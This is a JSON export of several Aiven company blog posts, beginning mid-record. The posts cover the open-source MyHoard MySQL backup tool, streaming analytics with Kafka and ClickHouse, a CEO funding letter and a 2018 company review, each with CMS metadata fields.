[Aiven for ClickHouse documentation](https://aiven.io/docs/products/clickhouse/concepts/clickhouse-tiered-storage).\nIf you have any questions about configuring tiered storage on your services, don't hesitate to reach out to support@aiven.io.","categories":[{"_key":"48c36cc021c7","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"bcaed67dd0ba","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"d873a8f82d03","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-6d6045413ef85c1b6d9171e8ca7153b145b9685d-1200x628-png","_type":"reference"}},"publishedAt":"2024-09-24T14:00:00.000Z","related":[{"_key":"f5cc8fbbaa12","_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"},{"_key":"125ce6871cdc","_ref":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_type":"reference"},{"_key":"fa277ef6f198","_ref":"a6e96484-2c71-4574-9297-d68a69f822d7","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for ClickHouse® now offers tiered storage, merging speed with cost-efficient object storage. Find out more and visit our blog!","metaTitle":"Cost-Effective Data Retention with Aiven for ClickHouse®"},"slug":{"_type":"slug","current":"/blog/cost-effective-data-retention-with-aiven-for-clickhouse-tiered-storage"},"subtitle":"Tiered storage is now generally available in Aiven for ClickHouse®. Combine the speed of ClickHouse with the cost optimization of object storage for a powerful data warehouse solution.","title":"Cost Effective Data Retention with Aiven for ClickHouse® Tiered Storage"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"1i9IaqeHcQuBRkkb08Oioz","_rev":"h4ancfFTuSnQNBSq3GAIYm","_type":"post","_updatedAt":"2024-11-18T13:14:02Z","authors":[{"_key":"5CgR9oYqHG3BdSgCehqmQt","_ref":"5CgR9oYqHG3BdSgCehqmQt","_type":"reference"}],"body":"We at Aiven are big believers in Open Source. Not only do we provide Open Source databases as a service, we are contributors to several of those and many related projects. Additionally, we open source our in-house tools we've developed to provide Aiven services whenever we can.\n\nAvailable under Apache License Version 2.0, our latest tool is [MyHoard](https://github.com/aiven/myhoard), the daemon we use to create, manage and restore MySQL backups. In this post we cover our requirements and how we went on to accomplish fully automated MySQL backups with MyHoard.\n\n## Aiven's operational model and requirements\n\nThe model with which Aiven operates services differs quite a bit from how traditional on-premise databases have been hosted where relational database master servers have been expected to remain operational for extended periods of time and replacing them has been an exceptional situation.\n\n__This often means the process is not well automated, safe or repeatable.__ We on the other hand expect servers to potentially fail at any time and also perform major updates in a rolling forward fashion that causes the old master servers to be replaced.\n\n\u003e To cope with both expected and unexpected server failures, we work hard towards perfecting the failover scenarios so that they're as seamless as possible.\n\nFor controlled failovers, we cover various steps on both the old and new masters before and after the promotion to ensure no data loss and as little downtime as possible. __By the time of writing,__ controlled failovers are usually completed so that service unavailability is around 5 seconds.\n\nOne of the properties of seamless failovers is keeping backups working like nothing out of the ordinary happened. We provide point-in-time recovery (PITR) that allows recovering to any point in time within the backup history window (2-30 days depending on service plan) and this also needs to work at the time just around a failover.\n\nAlso, should the newly promoted master fail quickly, the backup must be valid and at least include almost all changes from it. Consequently, requiring a full backup on the newly promoted master is not an option because it could take an extended period of time.\n\nOf course, everything needs to be compressed and encrypted – we run an encrypted file system and don't rely on the MySQL encryption features that were introduced in the recent 8.0.x versions. All major cloud storages must also be supported as backup target / source. None of the existing solutions -- not that there were many to choose from -- fit our requirements just right, so we created our own.\n\n## MyHoard's main functionalities\n\nTo get started you first need to get a full snapshot of the database. MyHoard uses [Percona XtraBackup](https://www.percona.com/software/mysql-database/percona-xtrabackup) for this part because it does a great job. Both backup and restore operations use direct streaming so that no extra disk space is needed, which required [extending XtraBackup to fully support this](https://github.com/percona/percona-xtrabackup/pull/607).\n\nHowever, creating and restoring the snapshot only gets you so far. You still need scheduling, removing old backups based on backup count / age, retrying operations, monitoring, etc. -- all of which MyHoard handles.\n\nOnce done with the snapshot, you need to take care of the continuous changes happening on top of the snapshot, i.e. binary logs. The way binary logs are managed tends to be somewhat naive: usually, new binary logs are just uploaded as is when new files are created on disk. __On the surface, this is what MyHoard does as well.__ But, there is more to this than meets the eye.\n\nMyHoard not only uploads, compresses and encrypts binary logs, it also scans the files to keep track of which transactions (GTIDs) the binary log files contain, as well as the timestamp of the first and last transactions in the file. This metadata can later be used when performing PITR to automatically pick the right target file based on recovery target time.\n\n\u003e MyHoard also ensures that binary logs are rotated within a reasonable amount of time.\n\nBy default MySQL creates new binary log files when a certain size threshold is exceeded. But, in environments with a fairly low change rate, it can take a long time to exceed the threshold and data could get lost for a long window of time if the server failed before the binary log got uploaded. MyHoard requests MySQL to switch to the next binary log if no changes were performed in a configured amount of time (5 minutes by default) to have a known maximum data loss window for single node services.\n\nTo ensure all of the binary logs can be backed up and replicated, a reasonably high binary log retention period should be used to ensure that the files aren't removed before they're processed. __MySQL's default value is as high as 30 days.__ Once the binary logs have been replicated and backed up they're typically no longer needed on the master, but there's also nothing that would clean them up until the MySQL retention threshold is exceeded.\n\n\u003e While keeping old binary logs for long periods of time may not be an issue in environments with a low number of changes, some environments may generate more data in a day as binary logs than there is data in the actual database.\n\n__To avoid excessive disk usage by binary logs that are no longer needed,__ MyHoard automatically purges binary logs that have been backed up. It is even possible to pass MyHoard replication state info for other cluster nodes to ensure it can never purge binary logs that still might be required for some standby or standalone read replica server.\n\nStandby servers must also be configured to write binary logs because when the master fails and a standby is promoted, there might be some other standby server or separate read replica that had not replicated as far as the new master had. If the new master didn't have binary logging enabled, the servers that were behind it in replication couldn't catch up and would need to be re-initialized somehow, causing a potentially long period of a lower-than-expected level of high availability (or none at all).\n\nThe old master might also have managed to replicate transactions to standby servers that it had not yet backed up. In order to keep the backup consistent, the new master needs to have the capability to back up those transactions.\n\n\u003e MyHoard must also be configured to run on standby servers. It handles purging binary logs that have been backed up and replicated to all servers in the cluster.\n\nWhen failover happens, MyHoard starts backing up binary logs starting from the first binary log containing transactions that the old master had not backed up. It also updates the backup metadata to indicate the failover point so that any stray updates from the old master will be properly ignored when processing the backup later -- it is possible that the old master was still somehow alive and accepting writes that aren't getting replicated because the new master had already been chosen, but the old master could still have backed up the transactions before the server was eventually shut down.\n\nRestoring binary logs is _perhaps the most interesting part of the whole flow_. The official MySQL documentation suggests [recovering binary logs using mysqlbinlog](https://dev.mysql.com/doc/refman/8.0/en/point-in-time-recovery.html), __but mentions one major caveat:__\n\n\u003e Restoring is only safe if you restore everything with one invocation of ``mysqlbinlog`` because temporary tables will be dropped unexpectedly and recovery might not succeed, or it might recover invalid data otherwise.\n\nThis means you need to have all binary logs on disk simultaneously -- a potentially very large amount of disk space for change heavy servers -- and the entire operation will either succeed or fail in its entirety. If it fails, the only thing that can be done is starting over from scratch. The mysqlbinlog based processing also prevents parallelizing the operation.\n\n__MyHoard works around these problems by making use of MySQL's normal SQL slave thread,__ which is the same thing that processes updates from the MySQL master during normal replication: MySQL splits the processing into the IO thread, which is responsible for receiving updates from master and SQL threads, which is responsible for applying them. During restoration, MyHoard keeps the IO thread stopped and emulates what it would be doing, directly feeding the backed up binary logs as relay logs for the SQL thread.\n\nThis allows batching the processing so that only part of the binary logs are stored on local disk at any point in time and any possible errors can be handled more gracefully. This would also allow using multithreading when processing the binary/relay logs, _though this is currently not supported_.\n\n## Running and controlling MyHoard\n\nMyHoard is a daemon intended to be run as a systemd service and likewise expects MySQL to be managed via systemd. It takes a JSON configuration file that defines MySQL related configuration, cloud object storage configuration, various backup related options, monitoring related options, and so forth. MyHoard runs an HTTP server that provides simple management API.\n\nOnce done with creating the configuration and starting up the service management it's very simple. On the first ever cluster node, you'd make one PUT request to place MyHoard into active mode to start taking backups, on any other node you'd start by putting it into restore mode to get it fully restored from backup and in case master fails doing another request on one of the standby servers to promote it as the new master.\n\nThe full configuration and control API is explained on [MyHoard's GitHub page](https://github.com/aiven/myhoard).\n\n## Requirements and assumptions\n\nMyHoard requires binary log with ROW format and GTIDs to be enabled. Only single server is expected to be accepting writes. It only works with MySQL 8.0.x+ and on Linux.\n\nMyHoard is considered stable but there are numerous things that can still be improved. For example, making it support parallel binary log restoration would bring big improvements to restoration speed. Currently, binary logs always need to be created on all servers in order to guarantee consistent state which adds a fair amount of overhead and could possibly be optimized.\n\nWe welcome contributions, bug reports and improvement suggestions. Please get in touch via the [GitHub project](https://github.com/aiven/myhoard) or opensource@aiven.io!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b3b8df1c4a5e18a1883721907cd3b660daa8d38f-752x405-png","_type":"reference"}},"publishedAt":"2019-05-27T00:00:00.000Z","related":[{"_key":"4a0853e1b56d","_ref":"9549ed5f-dc39-4a33-b102-11cdc97f473e","_type":"reference"},{"_key":"16ae1b7c3973","_ref":"5k7n1fStOCkrjlFuvlNMW1","_type":"reference"},{"_key":"30eb3867249e","_ref":"b5983f68-dc8a-4425-8c63-563319eaa59d","_type":"reference"}],"seo":{"metaDescription":"Getting the details just right to fully automate MySQL backups isn't simple. Find out how we accomplished it with our Open Source tool, MyHoard.","metaImage":{"alt":"","asset":{"_ref":"image-b3b8df1c4a5e18a1883721907cd3b660daa8d38f-752x405-png","_type":"reference"}},"metaTitle":"MyHoard: Simplifying MySQL Backups | Aiven "},"slug":{"_type":"slug","current":"/blog/introducing-myhoard-your-single-solution-to-mysql-backups-and-restoration"},"subtitle":"Getting the details just right to fully automate MySQL backups isn't simple. Find out how we accomplished it with our Open Source tool, MyHoard.","title":"Introducing MyHoard, your solution to MySQL backups and restoration"} {"__i18n_lang":"en","_createdAt":"2022-10-26T06:48:42Z","_id":"6d2dc544-51e6-459e-8669-8d92544accb2","_rev":"Ypdm2WFkfKn13FbW5XahzF","_type":"post","_updatedAt":"2024-09-25T08:36:38Z","authors":[{"_key":"a6ba1496fe5c","_ref":"29d5c4e5-fd74-4962-b6e4-32f29f0ef75a","_type":"reference"},{"_key":"0e2e220347a8","_ref":"2acjNLjMT0JmpSV9r8dyvC","_type":"reference"}],"body":"Your system works, but it could work better. A lot of businesses set up with a reasonable idea of the direction they want to take their product, but not how to get the most out of the data they’re collecting. \n\nEveryone’s talking about [Apache Kafka® as an ecosystem](https://aiven.io/blog/current-2022-recap). Once you recognize the importance of data analytics, the question shifts from “can this ecosystem streamline my systems?” to “what part of this ecosystem isn’t working for me?”\n\n**Streaming** data analytics differ from traditional (or **“batch”**) analytics. [Apache Kafka®](https://aiven.io/blog/what-is-apache-kafka) is already changing the face of data performance. But can your analytics weather these changes, or is it just plain taking too long to get your dashboards updated? You want your info presented nicely on your dashboards, not just for the previous month or the previous year, but hourly or per minute. Or even more frequently!\n\nThere are different approaches to streaming data analytics.\n\n## The evolution of analytics\nAnalytics is a concept that is _constantly_ on the move. Faster, sharper, more stable and performant, and all of it _right now_.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/123a355a6cf4c229bc1034906701829ef731f925-2500x1308.jpg)\n\nWe’re going to look at these stages a little bit out of order now, bear with us.\n\n### The primordial data soup\nBatch processing is still used in a lot of businesses and institutions. Analytics the \"old way\" can take days to get your dashboards updated, and requires some complex data pipelines. \n\nDoes it make sense to combine this traditional approach to analytics with the new ways of real-time data? Maybe, sometimes, when your analytics pipelines are all in place and you don't _need_ performance on that level. But in most cases this isn’t a great solution, so you should look into the other options.\n\n### The intelligent ape\nThis is it, the full real-time dream: event stream processing through technologies such as [Apache Flink](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink) or Confluent’s ksqlDB (these are just two examples of many!), event by event, processing and analyzing to full effect.\n\nThis is something you need if you want to take sub-second action - like automated stock trading, alerting based on data sent by an IoT device, or filtering some sensitive data from the stream before it is sent forward.\n\nThis _isn’t_ something you need, really, if you just want a dashboard that’s refreshed every 5 seconds (for example). For that, you'd be better off with a streaming-enabled data warehouse that can handle the volumes of incoming data, store it permanently for historical analysis, and provides ready integrations to dashboarding tools like Grafana, Tableau, Sisense and more.\n\nSure, it’s something to aim for … but only if you need it. Otherwise, it’s just wasted effort climbing that learning curve. A blended approach makes sense in many cases. Event stream processing for filtering and alerting based on the data, and a streaming-enabled data warehouse for creating the analytical dashboard views.\n\n### The missing link\nSomewhere in between these stages is the \"near real-time\". It offers a wide range of ways to optimize both ends of the evolutionary ladder. Streaming-enabled data warehouses, like ClickHouse, are simple and - for many use cases - more than fast enough. We’re talking about seconds or minutes here, so it’s still _fast_.\n\nYou already _have_ the data stream. With a streaming enabled data warehouse, you can capture and keep history of all that data. It can show emergent trends or projected developments, and execute preliminary analysis. Perform aggregations over your data to your reports, as well as digging deeper into individual events so you don't lose a single detail.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/9eedbaa3cf7ae7ef65393671b00f4d0a2020b740-2500x1308.jpg)\n\nSo what kind of everyday data systems fall into this category, and where can a livelier approach to analytics be of benefit?\n\n## Near real-time analytics in the real world\n### A little thing called GDPR\nGeneral Data Protection Regulation (GDPR) unites event stream processing with Apache Flink®, and data warehousing with ClickHouse®. _GDPR is everywhere_. Apache Flink keeps users’ private data private, while ClickHouse still enables analysis.\n\nSay your business needs to perform analytics on GDPR-protected information. Here we have two systems that are “allowed” to see and process personal information. Taxation service data, medical records … but private content is not for sharing. Filter out the PII data with Apache Flink, so ClickHouse can generate analytics dashboards from the anonymized data. Your analysts can then look at the data in ClickHouse without worrying about GDPR violations.\n\n### Customer-facing dashboards\nSelf-serve dashboards are used, for example, by energy companies. They provide their customers with interfaces where they can check their energy consumption in real time.\n\nCompanies that want to give their customers a handy chatbot to interact with can set up a platform to provide an analytics view. It checks the number of conversations, sent and received messages, average session length, and more.\n\n### Clickstreaming\nProduct analytics teams collect “clickstreams” from users using their applications. Click-by-click tracking of user actions - which is where ClickHouse came from - can provide real-time insights for **user journeys**, **lifecycles**, **retention**, **app usage**, **experimentations**, and more.\n\nSoftware vendors building products depend on product analytics to tell them what’s working and what isn’t. And there’s lots of data to play with. It’s _invaluable_ data for advertising and any other site usage … and it has to be handled with care.\n\n### Analytics in fraud detection\nFinancial institutions, classically, depend on real-time or near-as-possible-to-real-time data analysis. This is required for tracking their customers, the transactions that are taking place using their systems, and exposing the impostors who might be attempting to take advantage of vulnerabilities.\n\nThey’re protecting the institutions that much of the modern world hinges on. There aren’t many more vital use cases for data analytics. This places fraud detection, in terms of its needs, right on the cusp of our “near real-time” and “really real-time” evolutionary shift.\n\n## Every solution has a problem\nJust as every (data handling) problem has a (streaming analytics) solution, every solution also kind of has a problem.\n\n- Your batch analytics systems are always going to have issues with performance and complexity.\n- Aggregations are needed, and insights are lost. At the same time, _too much_ aggregation can cause you to lose **hidden insights** that might be of great value.\n- Apache Kafka acts as a data hub and messaging platform, yes, but it doesn't do more in analyzing the data - that’s not what it’s for.\n- Apache Flink is at its best when doing data transformation or immediate actions based on quick event analysis. It’s not ideal for a 'traditional' analytics dashboard, as it requires a separate datastore for storing the processing results before they can be visualized.\n- [ClickHouse](https://aiven.io/blog/use-cases-for-clickhouse) deals with a lot of throughput, but it’s more about storage and quick queries than immediate actions based on the data.\n\nAnalyzing the messages that are going through Apache Kafka has palpable benefits. What do you have that _could_ work, but isn’t because you’re not using analytics? You need _all_ of your data to be accessible for proper analysis.\n\nSince we’re already talking about evolution, let’s take a scientific method approach. Only … we’re going to do it _backwards_. Kind of.\n\n## Approach it backwards (or … _sideways?_)\nIn the scientific method, you start with a question and use the data available to arrive at your answer. Interpreting or changing things to get the answer you want is a big no-no.\n\nWhen it comes to data analytics, though, you start with what you want to get out of your data. Then you figure out which tools you need in order to get the information you want.\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=streaming-data-analytics-in-the-real-world\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\nMaybe you’re a manufacturer looking for the most efficient and effective way to support the drivers of your electric cars. You’re using Apache Kafka as a standardized messaging platform, but you need to move all that data into a warehouse and perform analysis on it so you can find out, for example:\n\n- Which charging sites are more or less commonly used\n- Where power is coming from\n- Where failures are occurring\n\nDon't make decisions based on a pile of old data. Take the guesswork out of it. And let Aiven help.\n\n## Wrapping up\nIf you’re at the stage where you’re trying things out, you don’t need to know it all. Want some ideas on where to start? We’ve got you covered.\n\n::banner[Learn more about event streaming architecture with Apache Kafka® and Apache Flink®, landing data into real-time analytics data warehouse ClickHouse®]{ctaText=\"Check out our blog post\" ctaLink=\"https://aiven.io/blog/build-a-real-time-analytics-pipeline\" title=\"Build a real-time analytics pipeline\" theme=dark}\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay in the loop about about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n## Further Reading\n\n- [Top requirements for building performant real-time applications](https://aiven.io/blog/the-top-requirements-for-building-performant-real-time-applications)\n- [Data streaming made easy with Apache Kafka®](https://aiven.io/blog/data-streaming-made-simple-with-apache-kafka)\n","categories":[{"_key":"542fb3b48003","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"},{"_key":"253c8fc4bf98","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"5790a81933ec","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-d696ba47d2ee04573ac297b7bc567e675c5eb3ac-1567x844-png","_type":"reference"}},"publishedAt":"2022-10-31T10:41:47.998Z","related":[{"_key":"1b66620d7d9c","_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"},{"_key":"99d18fbbc19b","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Apache Kafka® is changing the face of data performance. Can your analytics weather these changes, or is it taking too long to get your dashboards updated?","metaTitle":"Streaming data analytics in the real world – Read more"},"slug":{"_type":"slug","current":"/blog/streaming-data-analytics-in-the-real-world"},"subtitle":"Already using Apache Kafka®? Here’s why you should be analyzing your streaming data, not just moving it around.","title":"Streaming data analytics in the real world"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5rQCh0etMiAbkYM5ZZfaf2","_rev":"Y1Zuby3sRDA3bPurvuDMVv","_type":"post","_updatedAt":"2024-09-25T08:41:40Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"In [my last blog post](https://aiven.io/blog/building-aiven-from-zero-to-usd800m-a-letter-from-our-ceo \"Building Aiven from zero to USD800m | Aiven blog\") I announced our Series C funding round and wrote about the future I saw for Aiven. Although it was only seven months ago, a lot has happened since then.\n\nWe have roughly doubled our revenue run rate. We’ve grown our team from 140 to over 230 employees, and expanded the team to Singapore and New Zealand. And we’ve also launched our Open Source Program Office making upstream contributions to several open source projects as a company.\n\nAll this culminates [in our latest news](https://aiven.io/press/aiven-achieves-usd2b-unicorn-valuation-with-its-series-c-extension \"Aiven achieves USD2b unicorn valuation | Aiven press room\"): Aiven has raised $60 million of additional funding, which extends our Series C round to $160 million in total. We also got a new valuation for the company: Aiven is now officially worth $2 billion, making us the newest unicorn to hail from the Nordics.\n\nIt’s humbling to think about the journey that’s taken us from zero to here in just six years. And I couldn’t be more grateful to Aiven employees and my fellow founders, as well as our customers and partners who have made this possible. Kudos!\n\n\u003e “It’s humbling to think about the journey that’s taken us from zero to here in just six years.”\n\nOur mission has always been clear: we want to make developers’ lives better, and help them tap into the benefits of open source data technologies without the burden of maintenance and management.\n\nAs we’ve grown, we’ve been able to help more and more developers do this. Now we’re at a point where we’re seeing Aiven become the leader in providing managed cloud data infrastructure around the world.\n\n\u003e “We want to make developers’ lives better, and help them tap into the benefits of open source technologies without the burden of maintenance and management.”\n\nIn my conversations with customers, I’m also hearing more and more how Aiven has helped them reach other goals, such as lowering their operating costs, achieving greater business agility and improving developers’ day-to-day productivity.\n\nTo quantify all this, we recently sponsored [a study by IDC](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi \"Aiven cloud data services bring 340% 3-year ROI | Aiven blog\") to interview some of our customers and look into the business value of Aiven services. The results make for interesting reading. Overall, I believe we’ve just scratched the surface of open source technologies’ benefits for companies. And I’m happy to have investors who share the vision backing our growth: World Innovation Lab, IVP, Atomico, Earlybird, First Fellows, Lifeline Ventures and Salesforce Ventures.\n\n\u003e “I believe we’ve just scratched the surface of open source technologies’ benefits for companies.”\n\nSo, continuing to champion easy and accessible open source is what you can expect from Aiven going forward. But what does this look like in practice?\n\nHere are some of the things that we’re working on right now:\n\n- We’re launching our [Aiven startup program, Cluster](https://landing.aiven.io/signup-cluster-notification/ \"Cluster | Aiven\"), in a couple of weeks at Slush, the coolest startup event in the world\n- We’re already serving customers in 50+ countries around the world, and next we’ll open offices in Paris and Singapore to work more closely with customers in those regions\n- We’re widening our product portfolio with new open source technologies, like Apache Flink which enables more sophisticated streaming use cases directly on the Aiven platform\n- We are growing our Open Source Program Office to devote even more time and resources towards contributing back to different open source communities\n\nI ended my last blog post saying that I was excited to see where the open road ahead would take us. Today we’re already a lot farther ahead, but there’s still a long way to go. And that’s how we like it.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n\n## Further reading\n\n- [Aiven joins forces with Slush to define the future of entrepreneurship](https://aiven.io/blog/aiven-joins-forces-with-slush)","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b470d4e70948803ce6c3c3d81c2a09705b1a637e-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-19T00:00:00.000Z","seo":{"metaDescription":"Aiven extended its Series C to $160 million, reaching unicorn status. Find out what it means for Aiven and for the future of open source data technologies.","metaImage":{"alt":"","asset":{"_ref":"image-b470d4e70948803ce6c3c3d81c2a09705b1a637e-1567x844-png","_type":"reference"}},"metaTitle":"Raising a unicorn worth $2 billion - another letter from our CEO"},"slug":{"_type":"slug","current":"/blog/raising-a-unicorn"},"subtitle":"Aiven extended its Series C to $160 million, reaching unicorn status. Find out what it means for Aiven and for the future of open source data technologies.","title":"Raising a unicorn worth $2 billion - another letter from our CEO"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5e1eyGRUAVzPh1G1DuRnoK","_rev":"Y1Zuby3sRDA3bPurvuEJyO","_type":"post","_updatedAt":"2024-09-25T08:51:35Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Last year, we quietly embarked on a major overhaul of the Aiven brand. The purpose? To reflect our evolution from a small, Finnish startup offering PostgreSQL as a Service to a larger, international one providing **6** open-source services in **5** clouds across **67** regions.\n\nDon’t worry, **we’re still Finnish** and **the crab stays**. After all, these are what anchor our brand and provide the all-important continuity as we forge ahead into uncharted territory.\n\nNonetheless, we have done a lot since Aiven’s inception in January of 2016 and even more so in 2017. Before you explore our new website, let’s take stock of what we accomplished last year and peak into what we plan to accomplish this year!\n\n## Building to Aiven 2.0, a year of firsts | 2017\n\nIn our second year, we focused on building up our services and coverage. We were able to accomplish a lot of _firsts_, whether bringing a major version release to market first, establishing ourselves as an open-source service leader, or expanding our operations. For a startup competing with well-estabilished brands, these were no small feat.\n\n#### 1. The [first to offer production-ready PostgreSQL 10](https://aiven.io/blog/aiven-is-first-to-offer-postgresql-10)\n\nAs a result, Aiven customers were the first to get access to the many performance enhancements and improved data distribution across nodes that PG10 promised across all major cloud providers.\n\n#### 2. The first to support [local SSDs for PostgreSQL](https://aiven.io/blog/larger-and-faster-aiven-postgresql-plans)\n\nIn some of our tests, PostgreSQL instances with local SSDs demonstrated up to a 400% increase in performance over those with network SSDs: good for databases of all sizes, but especially those with enterprise scale.\n\n#### 3. Demonstrated Aiven as the fastest provider of PostgreSQL\n\nFor PGConf EU ‘17, we [benchmarked PostgreSQL](https://github.com/aiven/presentations/blob/master/pgconfeu2017/PostgreSQL%20Cloud%20Performance%20-%20PGConf%20EU%202017%20-%20Oskari%20Saarenmaa.pdf) across different cloud and DBaaS providers. Most interesting were the results of our comparison between RDS, Aurora, and Aiven for PostgreSQL.\n\n#### 4. Became the #1 provider of managed Apache Kafka\n\nAvailable in Amazon Web Services, Google Cloud Platform, Microsoft Azure, DigitalOcean, and UpCloud over 67 regions, no other Apache Kafka provider offers its customers such flexibility in where their clusters are managed and hosted.\n\n#### 5. Added [service integrations](https://help.aiven.io/en/articles/1456441-getting-started-with-service-integrations) to increase the power of Aiven for Apache Kafka.\n\nNow, Aiven customers can visualize and set up alerts for their Aiven for Kafka data by integrating with Aiven for InfluxDB and Grafana. Setting the integrations up is simple and only takes a few minutes to set up.\n\n#### 6. Established our first international office in Boston, MA\n\nA global service requires a global footprint. Due to North America’s geographic location and that of our client base, establishing an office in the U.S. under Aiven, Inc was the logical next step.\n\n## The year of Aiven 2.0, hitting our stride | 2018\n\nEntering our third year, we've set a solid pace that will see us adding more integrations to our current services, adding additional services, and demonstrating our commitment to data security. 2018 will be a year of expansion, but also one of refinement.\n\n#### 1. Adding support for Datadog\n\nAlthough our Aiven InfluxDB and Grafana service integrations essentially provide the same functionality as Datadog, many of our clients are established users of the latter, which is why we will be providing support in Q1.\n\n#### 2. Adding Cassandra and other services\n\nStarting with a Cassandra Beta by end of Q1, we will add a number of popular and horizontally scalable services throughout 2018 to increase our platform's functionality and secure our role as the premier cloud database hub.\n\n#### 3. Adding support for Kafka MirrorMaker\n\nCross-region replication is important for interdependent clusters, especially those that administrators are using as fail-safes. In short, it’s important and we’re making it available.\n\n#### 4. Fleshing out Aiven service integrations\n\nNow, Aiven Kafka users can access pre-made dashboards to visualize their metadata and set alerts with InfluxDB and Grafana. We will follow-up with **Aiven PostgreSQL** and **OpenSearch** over the year.\n\n#### 5. Attaining ISO 27001 Certification\n\nInformation security is at the heart of everything we do, which is why we started the ISO 27001 certification process in late 2017 and plan on receiving full certification mid 2018.\n\n## Building from Aiven 2.0, increasing our pace | Beyond 2018\n\nIt's hard to accurately predict where Aiven will be a year from now. But, we know what we'll do: practice the philosophy that got us to today, one that is focused on providing **services that are usable**, **reliable**, **relevant**, and **secure**.\n\nOur foundation firm, our customers happy, and our brand confidently facing the future, we are in the ideal posture to position ourselves as the leading cloud database platform and earning a spot at the table when companies consider or reconsider their cloud strategy.\n\nSo beyond 2018? Who know, but the pace will be furious. Make sure you stay up-to-date by subscribing to our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds. And in the meantime? Be sure to explore and enjoy our new website!\n\n\u003cdiv class=\"col-xs-12 text-center\"\u003e\n\u003ca class=\"button gradient\" href=\"https://aiven.io/\" target=\"_blank\"\u003e\nStart at the homepage!\n\u003c/a\u003e\n\u003c/div\u003e\n\n\n## Further reading\n\n- [Datadog meets Aiven](https://aiven.io/blog/datadog-meets-aiven)\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-8fd1b39cdc0091761b88ca0d94890844e6bbbde0-752x405-png","_type":"reference"}},"publishedAt":"2018-02-26T00:00:00.000Z","seo":{"metaDescription":"2017 was a major year for Aiven culminating in an updated brand and new website. In this post, we review where we’ve been and where we’re going.","metaImage":{"alt":"","asset":{"_ref":"image-8fd1b39cdc0091761b88ca0d94890844e6bbbde0-752x405-png","_type":"reference"}},"metaTitle":"Time to take stock as Aiven goes 2.0"},"slug":{"_type":"slug","current":"/blog/time-to-take-stock-as-aiven-goes-2"},"subtitle":"2017 was a major year for Aiven culminating in an updated brand and new website. In this post, we review where we’ve been and where we’re going.","title":"Time to take stock as Aiven goes 2.0"} 